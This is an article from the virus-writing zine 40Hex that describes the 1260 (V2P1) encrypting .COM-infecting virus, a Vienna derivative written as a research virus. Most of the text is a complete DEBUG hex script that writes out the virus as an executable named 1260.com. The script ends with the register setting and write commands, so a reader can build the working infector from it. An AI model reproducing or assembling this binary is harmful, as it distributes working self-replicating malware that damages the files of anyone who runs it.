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- 40Hex Volume 1 Issue 2 0009
-
- The 1260 Virus
-
- Here's a nice little encrypting virus written in America.
-
- Aliases: V2P1
- V Status: Research
- Discovery: January, 1990
- Symptoms: .COM file growth
- Origin: Minnesota, USA
- Eff Length: 1,260 Bytes
- Type Code: PNC - Parasitic Encrypting Non-Resident .COM Infector
- Detection Method: ViruScan V57+, IBM Scan, Pro-Scan 1.4+, F-Prot 1.12+,
- AVTK 3.5+, VirHunt 2.0+, NAV
- Removal Instructions: CleanUp V57+, Pro-Scan 1.4+, F-Prot 1.12+, VirHunt 2.0+
- General Comments:
- The 1260 virus was first isolated in January, 1990. This
- virus does not install itself resident in memory, but is it
- extremely virulent at infecting .COM files. Infected files
- will have their length increased by 1,260 bytes, and the
- resulting file will be encrypted. The encryption key changes
- with each infection which occurs.
-
- The 1260 virus is derived from the original Vienna Virus, though
- it is highly modified.
-
- This virus was developed as a research virus by Mark Washburn, who
- wished to show the anti-viral community why identification string
- scanners do not work in all cases. The encryption used in 1260 is
- one of many possible cases of the encryption which may occur with
- Washburn's later research virus, V2P2.
-
-
- ------------------------------------------------------------------------------
-
- n 1260.com
- e 0100 E9 1D 00 6E 66 65 63 74 65 64 20 50 72 6F 67 72
- e 0110 61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
- e 0120 90 B8 89 86 4B B9 FD 04 FC 46 BF 47 01 90 2B DA
- e 0130 31 0D 33 D1 2B D8 31 05 47 42 4B 40 90 E2 EE 4B
- e 0140 4B 42 47 43 42 F8 47 FF 18 71 18 D2 A5 40 19 E2
- e 0150 6D B4 08 F8 5C FA F4 A6 EB 08 55 F2 F4 73 82 1A
- e 0160 65 C4 C4 4F 82 24 55 FA F4 7B B2 16 55 F4 E4 6F
- e 0170 A2 00 1F F9 0C C2 F7 7D 06 73 32 66 F4 45 84 87
- e 0180 3D 81 84 7A 77 5E 7F 04 40 C2 39 D7 C8 FA 28 C1
- e 0190 B6 E1 0D 64 E6 FC 40 D9 39 D3 38 FA 71 A4 38 0A
- e 01A0 6B E1 82 38 C3 71 22 77 36 13 F4 42 EE 37 C5 E0
- e 01B0 B2 6C E2 CA E4 45 F4 F6 AA A4 75 30 68 FA A8 BE
- e 01C0 05 83 F7 A9 BC FF F5 5B 5B 86 18 15 0F A5 E2 6E
- e 01D0 9B 17 6E 39 64 3D 54 F7 7E 0D 1E CD 65 37 46 B9
- e 01E0 31 C3 B0 C3 2C DF F7 3B EB A5 D3 79 EB D7 E5 6C
- e 01F0 1B C5 6E 91 11 7A 32 56 F5 5F C9 CC 81 F0 B9 87
- e 0200 F1 87 2F 6C 71 37 4B F7 F5 A8 EA 7E 83 0F 65 1A
- e 0210 1A 97 E6 57 B9 51 7C 89 07 78 06 76 33 6D C5 7E
- e 0220 C3 C3 36 63 4E 08 41 B9 7E 25 74 35 54 FB 5C E4
- e 0230 E5 2E C4 0C E3 6B 39 43 BA 3E D4 84 F6 10 9A CB
- e 0240 8E 87 F2 07 21 E4 CE EF 86 19 73 4C 09 FC E2 18
- e 0250 96 01 61 5C 19 FC F8 84 2C 7F 8C 02 A4 7D 04 3F
- e 0260 C2 68 68 FC C2 89 08 AE 4A F4 B1 7B 24 7D 20 41
- e 0270 E2 29 C3 69 AC 0A 4A F1 B1 75 13 0E 0D 77 54 01
- e 0280 40 25 82 4D A3 44 F0 CD 79 22 73 32 53 FC 2F C1
- e 0290 91 E0 0B 88 E3 30 79 28 4A F4 A5 3D D3 75 8C 38
- e 02A0 4B 92 38 74 FD 45 F1 F0 79 22 73 32 62 FC 2F C1
- e 02B0 2E BF CB FA 2E 09 3A F3 F2 38 B0 C7 E3 30 7A CF
- e 02C0 0F 49 C1 3E 85 F3 FD 45 FD FB 30 DE 8E F0 04 FA
- e 02D0 EC 27 67 36 21 2C A9 37 AC 37 78 57 FE F3 01 2F
- e 02E0 A4 4F 59 CF 4C 32 20 FB 31 9F 12 01 31 87 18 00
- e 02F0 42 E8 21 7D F6 FE 49 D3 30 DA CE 2E 31 0D FA D9
- e 0300 7D 47 4C A6 A9 F2 31 37 BE BD 0D 33 1A 31 12 EF
- e 0310 21 CF CC 2A E9 3F 31 BA BB 13 31 78 F3 77 CA CF
- e 0320 94 07 CD 4E 0C D4 FC 76 71 FA FD 33 6D 8B 17 EF
- e 0330 66 AD 1D 23 D3 44 BB 15 74 7F F9 FF 31 1A 6F F1
- e 0340 C1 08 8F E0 D0 F0 30 2E A7 24 7D 3D DB F2 2B A8
- e 0350 0A ED EC 06 F8 F3 75 80 12 7B 3F EE FC 3E EA 2F
- e 0360 8A 2C 4F CE 00 BE 58 FF FD 7B 3F EE FC 3E 5B B1
- e 0370 14 EA 55 EC EC 79 8A 12 30 00 87 38 D9 F2 7F 2A
- e 0380 07 CC 62 A5 4B BD 56 75 B2 16 7D 17 4A F1 D7 21
- e 0390 98 E3 56 EE EC 1A 4A FE 17 17 30 75 8A 1E 9A 45
- e 03A0 32 06 6D D6 F5 F2 7D 38 AB FA 30 C2 41 35 E2 EC
- e 03B0 67 3D 1F 4A B2 A9 14 6C FC FF FA FE AC 0D EE C3
- e 03C0 E4 90 2E 32 E1 F7 31 9C EB E7 45 FF BF 4A ED EF
- e 03D0 57 EB ED 22 CC 81 F2 4B BD 42 FE FF 31 27 92 19
- e 03E0 4C 09 5E CF 00 D2 76 A9 07 70 B3 07 7C 12 0D 10
- e 03F0 6C 22 F2 EF 55 F2 AA 32 DC 4F C3 32 DC 4B 8C CC
- e 0400 06 C5 7B 04 5B 72 3F 5E FD 36 DC E1 76 A5 11 61
- e 0410 B3 15 59 F5 20 D2 E2 A6 CE 3B CE 24 CE 21 FE 39
- e 0420 46 2E 72 CF CC A4 15 51 FD 38 76 B1 0D 72 1C D3
- e 0430 6C 6A 2C A7 7F 22 34 2E 34 2A 34 76 B3 03 8C EE
- e 0440 0A 0B 5C 4E 3E 33 07 2F 2E A1 3D A4 AE 33 06 35
- e 0450 11 6D 3E 99 17 FB 2E 77 3F 29 1E AC 29 7B 06 94
- e 0460 8E 1F CD 8A 22 7B 0E 0F 5A 3B 44 FC FE 18 30 13
- e 0470 65 2A CD AA 08 CB B8 1A 8B 0B 3D AF 75 2C DE DA
- e 0480 05 FF 8C 73 C9 F2 77 8A 1A 54 CE F8 74 B7 E9 E0
- e 0490 EF 60 A9 EB B0 A8 A5 33 AD 73 22 AC A8 7B B8 28
- e 04A0 62 F8 CA 46 89 F7 DA 02 76 BF F9 A2 A6 AB 21 70
- e 04B0 F0 B8 56 EC EE A0 E1 77 B8 14 D3 7E FE 0A AD 03
- e 04C0 0D 80 4B E3 20 96 FD 5C F9 FB F3 A7 5E F5 ED 4C
- e 04D0 E3 EB 16 B7 F2 6E 3E 63 E3 AB 45 FF FD A3 D2 44
- e 04E0 8B 2B 37 6C C1 F3 76 B9 21 58 F9 FF 76 B5 33 4C
- e 04F0 EB EB 66 A9 0F 50 F3 FF 06 A3 E2 62 3E 4C CA 8E
- e 0500 35 02 0B 36 70 F7 05 03 BB B0 6D CE F8 C2 E0 DC
- e 0510 3C D8 34 C4 35 D8 24 D4 27 6B BD B8 BE B5 8F 37
- e 0520 86 5B 2F 28 CE F3 FE FC FE FD FC F6 FC F9 EC E4
- e 0530 EC E7 EC E2 EF FD FF EF FF E9 FF EB FF E5 0F 17
- e 0540 0F 11 0C 13 0C EE FD E0 FD E5 FD DE FD D3 ED CC
- e 0550 ED C9 ED CA 67 BC 14 75 BA 10 77 00 7D 1D 7A CD
- e 0560 24 EB CC 7A 8C 4B 10 FA 77 2C 7D 14 21 F1 21 CF
- e 0570 70 BA 67 A0 04 79 BA 14 77 04 7D 11 4A F1 64 8D
- e 0580 8C D2 11 4D BD F7 CD F3 BC BD 1E 06 3F 19 F9 A7
- e 0590 05 F7 EC C4 C2 B1 B3 B3 FC AA BD AA B4 CF 98 87
- e 05A0 82 93 E2 8D 83 BF FC B3 FC FA FC FE FC F2 EC EE
- e 05B0 EC EA EC EE EC F2 FC FE FC FA FC FE FC F2 0C 0F
- e 05C0 0D 0B 0D 0F 0D F3 FD FF FD FB FD FF FD F3 ED EF
- e 05D0 ED EB ED EF ED F3 FD FF FD FB FD FF FD F3 CF F0
- e 05E0 F2 F4 F2 F0 F2 CC C2 BC B2 B6 FE FC FD F3 ED EF
- e 05F0 ED EB ED CF CA 97 A6 ED DD FB FD FF A9 BA C3 D6
- e 0600 A3 C8 C2 C2 8D BE FD B2 FD FB FD FF 1A 1A 1A 1A
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- rcx
- 50C
- w
- q
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- HR
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